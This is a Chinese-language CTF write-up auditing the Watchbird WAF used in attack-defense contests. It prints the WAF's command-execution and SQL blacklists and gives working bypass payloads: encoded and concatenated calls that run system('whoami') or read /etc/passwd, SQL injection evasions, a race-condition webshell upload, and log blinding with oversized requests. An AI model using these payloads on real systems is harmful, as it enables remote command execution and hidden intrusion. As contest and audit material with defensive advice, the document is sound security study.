对AWD流行开源WAF(1) -- Watchbird的白盒审计
字数 1399 2025-08-18 17:33:23
Watchbird WAF 白盒审计与绕过技术详解
1. Watchbird WAF 简介
Watchbird 是一款针对 AWD (Attack With Defense) 比赛设计的开源 WAF (Web Application Firewall),项目地址:https://github.com/leohearts/awd-watchbird
主要功能特点:
- 实时流量监控与拦截
- 攻击日志记录功能
- 基于黑白名单的规则过滤
- 内置常见攻击模式检测
2. WAF 后台日志分析
Watchbird 后台日志分为两部分:
- 绿色区域:记录不受拦截的流量日志(正常流量或绕过 WAF 的流量)
- 红色区域:记录拦截到的攻击流量
3. RCE 黑名单绕过技术
3.1 Watchbird 的 RCE 黑名单规则
public $rce_blacklist = "/\`|var_dump|str_rot13|serialize|base64_encode|base64_decode|strrev|eval\(|assert|file_put_contents|fwrite|curl_exec\(|dl\(|readlink|popepassthru|preg_replace|preg_filter|mb_ereg_replace|register_shutdown_function|register_tick_function|create_function|array_map|array_reduce|uasort|uksort|array_udiff|array_walk|call_user_func|array_filter|usort|stream_socket_server|pcntl_exec|passthru|exec(|system(|chroot\(|scandir\(|chgrp\(|chown|shell_exec|proc_open|proc_get_status|popen\(|ini_alter|ini_restore|ini_set|LD_PRELOAD|ini_alter|ini_restore|ini_set|base64 -d/i";
3.2 绕过技术
方法1:取反绕过
原理:利用 PHP 的位运算取反特性(~)构造函数名
Payload:
?file=(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
解释:
~%8C%86%8C%8B%9A%92解码后为system~%88%97%90%9E%92%96解码后为whoami- 组合起来相当于执行
system('whoami');
方法2:字符串拼接绕过
原理:将函数名拆分为多个部分进行拼接
Payload:
?file=(sy.(st).em)(whoami);
方法3:内联注释绕过
原理:在函数名中插入注释分隔符
Payload:
?file=(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);
方法4:十六进制编码绕过
原理:使用十六进制编码表示函数名
Payload:
?file="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
编码转换脚本:
def string_to_hex_str(s):
# 编码为字节,然后格式化每个字节为十六进制字符串,并连接它们
return ''.join('\\x{:02x}'.format(b) for b in s.encode('utf-8'))
s = "system"
hex_encoded_str = string_to_hex_str(s)
print(hex_encoded_str) # 输出: \x73\x79\x73\x74\x65\x6d
4. SQL 注入黑名单绕过
4.1 Watchbird 的 SQL 黑名单规则
public $sql_blacklist = "/drop |dumpfile\b|INTO FILE|union select|outfile\b|load_file\b|multipoint\(/i";
4.2 绕过方法
- 空格绕过:在
union select中间插入多个空格 - 大小写混合:使用
UnIoN SeLeCt - 注释分隔:使用
union/**/select
5. 文件上传绕过理论
5.1 Watchbird 文件上传检测机制
- 使用白名单检测
- 先上传文件,再检测,检测到有问题再删除
5.2 潜在绕过方法:条件竞争
- 上传一个能生成新木马的 PHP 文件
- 同时不断访问该文件
- 在检测删除前成功创建新 shell
限制因素:
- AWD 比赛时间短,条件竞争产出慢
- WAF 自带 DDoS 防御功能,爆破时 70% 以上数据包会被拦截
6. 绕过流量日志监测
6.1 日志机制特点
- 单个日志最大 40,000 个字符
- 超出最大值时会删除全部日志
6.2 绕过方法
- 发送超大 payload 数据包(>40,000 字符)
- 填入大量脏数据使日志超出限制
- 效果:后台不会显示这条日志记录(但 WAF 仍会拦截关键词)
7. 总结与防御建议
7.1 Watchbird WAF 的弱点
- 基于黑白名单的过滤机制存在固有缺陷
- 项目年久失修(虽然仅 1-2 年)
- 缺乏语义分析和 AI 识别能力
7.2 防御建议
- 更新 WAF 规则,补充遗漏的危险函数(如
putenv()) - 实现更严格的语法分析而非简单字符串匹配
- 考虑使用现代 WAF 解决方案(如基于 AI/ML 的 WAF)
- 对上传文件采用更安全的处理流程(如先检测后上传)
7.3 比赛中的应用
在 AWD 比赛中遇到 Watchbird WAF 时,可以尝试:
- 各种 RCE 绕过技术
- SQL 注入的简单绕过
- 条件竞争文件上传(时间允许时)
- 大流量日志致盲技术